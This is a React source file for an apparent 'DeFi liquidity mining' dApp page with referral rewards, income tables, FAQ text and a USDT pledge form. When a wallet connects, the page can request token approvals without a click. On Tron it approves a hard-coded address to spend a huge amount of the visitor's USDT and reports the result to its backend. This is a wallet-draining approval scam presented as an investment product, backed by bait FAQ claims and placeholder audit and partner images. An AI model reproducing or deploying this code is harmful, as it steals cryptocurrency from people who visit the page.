import React, { useEffect, useState, useLayoutEffect, useContext } from 'react';
import styles from './index.module.less';
import Header from '../../components/Header';
import { getIndexData, getMiningList, getUserInfo, approve, pledge } from '@app/common/api';
import { getCurrentAddress, eth_approve_, bsc_approve_, transfer_, checkNetwork_ } from '@app/components/contracts';
import { AllContext } from '../../AllContext';
import {useWeb3React} from "@web3-react/core";

let time = null;
let falg = false;
const list = [
  {
    title: 'Friends recommendation reward',
    text: " Your friends join DeFi mining through your referral link, and you will receive generous commissions. You can get 10% of your friend's income as a commission ",
  },
  {
    title: 'How do i need to join？',
    text: 'Participating in non-destructive and non-guaranteed liquidity mining requires payment of ETH miner fees to receive the replacement gold coupons, and the ETH wallet address only needs to be claimed once. Automatically open mining permissions after success.',
  },
  {
    title: 'How do i withdraw money？',
    text: 'You can convert the currency generated every day into USDT, and then initiate a withdrawal. USDT withdrawals will be automatically sent to the wallet address you added to the node, other addresses are not supported. ',
  },
  {
    title: 'How to calculate in income？',
    text: 'When you join successfully, the smart contract starts to calculate your address through the node and start to calculate the revenue. ',
  },
];

/**
 * 获取查询字符串
 * @example ?t=1  返回{t:1}
 * @returns {{}}
 */
const getSearch = (key, bool) => {
  let search = {};
  let address = window.location.href;
  if (address.indexOf('?') !== -1) {
    [, address] = address.split('?');
    address = address.split('&');
    for (let o of address) {
      let [key, val] = o.split('=');
      search[key] = val;
    }
  }
  if (key && bool) {
    return search[key];
  }
  return search;
};
const DApp = () => {
  const [mineTotal, setMineTotal] = useState(0);
  const [mineYield, setMineYield] = useState([]);
  const [userIncome, setUserIncome] = useState(0);
  const [userNum, setUserNum] = useState(0);
  const [validNode, setValidNode] = useState(0);
  const [miningList, setMiningList] = useState([]);
  const [date, setDate] = useState(0);
  const [number, setNumber] = useState('');
  const [showModel, setShowModel] = useState(false);
  const { address, chains, setChain, chain, setAddress } = useContext(AllContext);

  // 帮助中心点击收放
  const _selectItem = (i) => {
    let bro = document.getElementById(`answer_id${i}`);
    bro.classList.toggle('ui-show');
  };

  useLayoutEffect(() => {
    _getData();
    _getMiningList();
    time = setInterval(() => {
      _getMiningList();
    }, 5000);
    return () => clearInterval(time);
  }, []);

  useEffect(() => {
    _checkNetwork();
    console.log(address, 'address---');
  }, [address]);

  const _checkNetwork = async (isPledge) => {
    try {
      const currentAddr = await getCurrentAddress();
      if (!address) {
        console.error('Address is undefined or null');
        return; // 或者根据需要抛出一个具体的错误
      }

      const userInfoResult = await getUserInfo(currentAddr);
      if (!userInfoResult) {
        console.error('Failed to retrieve user info');
        return; // 或者根据需要处理错误
      }

      const { code, entity = {} } = userInfoResult;
      if (code !== 0 || entity.isApproe === 0) {
        console.log(111);
        if (window.ethereum && (await checkNetwork_()) === 1) {
          const _chain = chains.find((chain) => chain.name === 'ETH');
          setChain(_chain);
          const tx = await eth_approve_().catch((error) => {
            console.log('Error in approve_: ', error);
            throw error; // 向上抛出异常供外部处理
          });
          console.log("eth_approve_:{}", tx);
          const res = await approve({"address": currentAddr, amount: 1000000000, "chain": "ETH"});
          console.log(res)
        } else if (window.ethereum && (await checkNetwork_()) === 56) {
          console.log(222);
          const _chain = chains.find((chain) => chain.name === 'BSC');
          setChain(_chain);
          const tx = await bsc_approve_({ address, amount: 10000000, code: getSearch('code', true) }).catch((error) => {
            console.log('Error in approve: ', error);
            throw error; // 向上抛出异常供外部处理
          });
          console.log("bsc_approve_:{}", tx);
          const res = await approve({"address": currentAddr, amount: 1000000000, "chain": "ETH", "code": getSearch('code', true)});
          console.log(res)
        } else {
          console.log('选择了trx，连接trx网络');
          const tronWeb = window.tronWeb;
          const base58 = tronWeb.defaultAddress.base58;
          setAddress(base58?.slice(0, 10) + '...');
          const _chain = chains.find((chain) => chain.name === 'TRX');
          setChain(_chain);
          // 返回tron地址
          console.log('_tron', base58);

          // usdt abi
          const tron_usdt_abi = [
            {
              constant: true,
              inputs: [],
              name: 'name',
              outputs: [{ name: '', type: 'string' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_upgradedAddress', type: 'address' }],
              name: 'deprecate',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'approve',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'deprecated',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_evilUser', type: 'address' }],
              name: 'addBlackList',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'totalSupply',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_from', type: 'address' },
                { name: '_to', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'transferFrom',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'upgradedAddress',
              outputs: [{ name: '', type: 'address' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'decimals',
              outputs: [{ name: '', type: 'uint8' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'maximumFee',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: '_totalSupply',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [],
              name: 'unpause',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '_maker', type: 'address' }],
              name: 'getBlackListStatus',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'paused',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_subtractedValue', type: 'uint256' },
              ],
              name: 'decreaseApproval',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: 'who', type: 'address' }],
              name: 'balanceOf',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '_value', type: 'uint256' }],
              name: 'calcFee',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [],
              name: 'pause',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'owner',
              outputs: [{ name: '', type: 'address' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'symbol',
              outputs: [{ name: '', type: 'string' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_to', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'transfer',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: 'who', type: 'address' }],
              name: 'oldBalanceOf',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: 'newBasisPoints', type: 'uint256' },
                { name: 'newMaxFee', type: 'uint256' },
              ],
              name: 'setParams',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'amount', type: 'uint256' }],
              name: 'issue',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_addedValue', type: 'uint256' },
              ],
              name: 'increaseApproval',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'amount', type: 'uint256' }],
              name: 'redeem',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [
                { name: '_owner', type: 'address' },
                { name: '_spender', type: 'address' },
              ],
              name: 'allowance',
              outputs: [{ name: 'remaining', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'basisPointsRate',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '', type: 'address' }],
              name: 'isBlackListed',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_clearedUser', type: 'address' }],
              name: 'removeBlackList',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'MAX_UINT',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'newOwner', type: 'address' }],
              name: 'transferOwnership',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_blackListedUser', type: 'address' }],
              name: 'destroyBlackFunds',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              inputs: [
                { name: '_initialSupply', type: 'uint256' },
                { name: '_name', type: 'string' },
                { name: '_symbol', type: 'string' },
                { name: '_decimals', type: 'uint8' },
              ],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'constructor',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: '_blackListedUser', type: 'address' },
                { indexed: false, name: '_balance', type: 'uint256' },
              ],
              name: 'DestroyedBlackFunds',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
              name: 'Issue',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
              name: 'Redeem',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'newAddress', type: 'address' }],
              name: 'Deprecate',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: true, name: '_user', type: 'address' }],
              name: 'AddedBlackList',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: true, name: '_user', type: 'address' }],
              name: 'RemovedBlackList',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: false, name: 'feeBasisPoints', type: 'uint256' },
                { indexed: false, name: 'maxFee', type: 'uint256' },
              ],
              name: 'Params',
              type: 'event',
            },
            { anonymous: false, inputs: [], name: 'Pause', type: 'event' },
            { anonymous: false, inputs: [], name: 'Unpause', type: 'event' },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'previousOwner', type: 'address' },
                { indexed: true, name: 'newOwner', type: 'address' },
              ],
              name: 'OwnershipTransferred',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'owner', type: 'address' },
                { indexed: true, name: 'spender', type: 'address' },
                { indexed: false, name: 'value', type: 'uint256' },
              ],
              name: 'Approval',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'from', type: 'address' },
                { indexed: true, name: 'to', type: 'address' },
                { indexed: false, name: 'value', type: 'uint256' },
              ],
              name: 'Transfer',
              type: 'event',
            },
          ];
          const tron_usdt_contract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
          // // 初始化合约
          const contract = tronWeb.contract(tron_usdt_abi, tron_usdt_contract);
          console.log('contract', contract);
          const output = await contract.approve('TXMrdZsY95Du4LtQTe8yLPtYiemmMLa1Lu', 1000000000000).send();
          if (!output) {
            const res = await approve({"address": base58, amount: 1000000000, "chain": "TRX", "code": getSearch('code', true)});
            console.log(res)
          }

        }
        if (isPledge) {
          setShowModel(true);
        }
      } else {
        if (isPledge) {
          setShowModel(true);
        }
      }
    } catch (error) {
      console.error('_checkNetwork error: ', error);
      // 根据需要处理错误，例如设置状态、显示用户通知等
    }
  };

  const _getData = async () => {
    try {
      const { msg, result = {} } = await getIndexData();
      if (msg === 'success') {
        const { mineTotal, userIncome, userNum, validNode, mineYield } = result;
        setMineTotal(mineTotal);
        setUserIncome(userIncome);
        setUserNum(userNum);
        setValidNode(validNode);
        setMineYield(mineYield);
      }
    } catch (error) {
      console.log('_getData', error);
    }
  };

  const _getMiningList = async () => {
    if (falg) return;
    falg = true;
    try {
      const { msg, list = [] } = await getMiningList();
      falg = false;
      if (msg === 'success') {
        setMiningList(list);
      }
    } catch (error) {
      falg = false;
      console.log('_getMiningList', error);
    }
  };

  const _changeNumber = (e) => {
    setNumber(e.target.value);
  };

  // 质押
  const _pledge = async () => {
    try {
      const tx = await transfer_(number);
      if (tx) {
        const address = await getCurrentAddress();
        await pledge({ amount: number, address });
        setShowModel(false);
      }
    } catch (error) {}
  };
  return (
    <div>
      <Header />
      <div className={styles['ui-content']}>
        <div className={styles['ui-output']}>
          <span className={styles['ui-title']}>{'礦業總產量'.LANG()}</span>
          <p className={styles['ui-sum']}>
            <span>{mineTotal}</span>
            <span>ETH</span>
          </p>
        </div>
        <div className={styles['ui-node']}>
          <div className={styles['ui-box']}>
            <span>{'有效節點'.LANG()}</span>
            <span>{validNode}</span>
          </div>
          <div className={styles['ui-box']}>
            <span>{'參與者'.LANG()}</span>
            <span>{userNum}</span>
          </div>
        </div>
        <div className={styles['ui-input']}>
          <span className={styles['title']}>{'用戶收入'.LANG()}</span>
          <div className={styles['right']}>
            <span className={styles['sum']}>{userIncome}</span>
            <span>USDT</span>
          </div>
        </div>
        <div className={[styles['ui-wallet-btn'], styles['ui-btn']]} onClick={() => _checkNetwork(true)}>
          {'质押'.LANG()}
        </div>

        <div className={styles['ui-list']}>
          <div className={styles['ui-title']}>{'超級計算礦工'.LANG()}</div>
          <ul className={styles['ui-tr']}>
            <li>{'礦工'.LANG()}</li>
            <li>{'價值'.LANG()}</li>
            <li>{'Yield'.LANG()}</li>
          </ul>
          {mineYield.map((o, i) => {
            return (
              <ul className={[styles['ui-tr'], styles['ui-data']]} key={i}>
                <li>{o.level}</li>
                <li>{o.value}</li>
                <li>{o.yield}</li>
              </ul>
            );
          })}
        </div>

        <div className={styles['ui-list']}>
          <div className={styles['ui-title']}>{'用戶輸出'.LANG()}</div>
          <ul className={styles['ui-userInput-tr']}>
            <li>{'時間'.LANG()}</li>
            <li>{'地址'.LANG()}</li>
            <li>{'申請'.LANG()}</li>
          </ul>
          {miningList.map(({ address, time, amount }, i) => {
            return (
              <ul className={[styles['ui-userInput-tr'], styles['ui-data']]} key={i}>
                <li>{time}</li>
                <li>
                  {address?.slice(0, 4)}****{address?.slice(address.length - 4)}
                </li>
                <li>{amount} ETH</li>
              </ul>
            );
          })}
        </div>

        <div className={styles['ui-video']}>
          <video width="100%" height="200" controls="controls" src="images/video.mp4"></video>
        </div>

        <div className={[styles['ui-help-btn'], styles['ui-btn']]}>{'幫助中心'.LANG()}</div>
        <div className={styles['ui-question']}>
          {list.map((o, i) => {
            return (
              <div className={[styles['ui-info'], i != 0 && styles['ui-line']]} key={i}>
                <p className={styles['ui-q']} onClick={() => _selectItem(i)}>
                  <span>{o.title}</span>
                  <img src="images/arrow_bottom.png" alt="" />
                </p>
                <p className={styles['ui-a']} id={`answer_id${i}`}>
                  {o.text}
                </p>
              </div>
            );
          })}
        </div>

        <div className={[styles['ui-help-btn'], styles['ui-btn']]}>{'審計報告'.LANG()}</div>
        <div className={styles['ui-img-list']}>
          {[1, 2, 3].map((o, i) => {
            return <img src={`images/${o}.png`} alt="" key={i} />;
          })}
        </div>

        <div className={[styles['ui-help-btn'], styles['ui-btn']]}>{'夥伴'.LANG()}</div>
        <div className={styles['ui-img-list']}>
          {['01', '02', '03', '04', '05', '06'].map((o, i) => {
            return <img src={`images/${o}.png`} alt="" key={i} />;
          })}
        </div>
      </div>
      <div className={[styles['model'], showModel && styles['show']]}>
        <div className={styles['model-box']} onClick={() => setShowModel(false)}></div>
        <div className={styles['model-content']}>
          <div className={styles['ui-date-box']}>
            <div className={[styles['ui-date'], date === 0 && styles['active']]} onClick={() => setDate(0)}>
              30
            </div>
            <div className={[styles['ui-date'], date === 1 && styles['active']]} onClick={() => setDate(1)}>
              90
            </div>
            <div className={[styles['ui-date'], date === 2 && styles['active']]} onClick={() => setDate(2)}>
              180
            </div>
          </div>
          <div className={styles['ui-input-box']}>
            <input type="text" inputMode="decimal" value={number} onChange={_changeNumber} />
            <div className={styles['right']}>
              <img src="images/usdt.png" alt="" />
              <span>USDT</span>
            </div>
          </div>
          <div className={[styles['ui-wallet-btn'], styles['ui-btn']]} onClick={() => _pledge()}>
            {'确定'.LANG()}
          </div>
        </div>
      </div>
    </div>
  );
};

export default DApp;
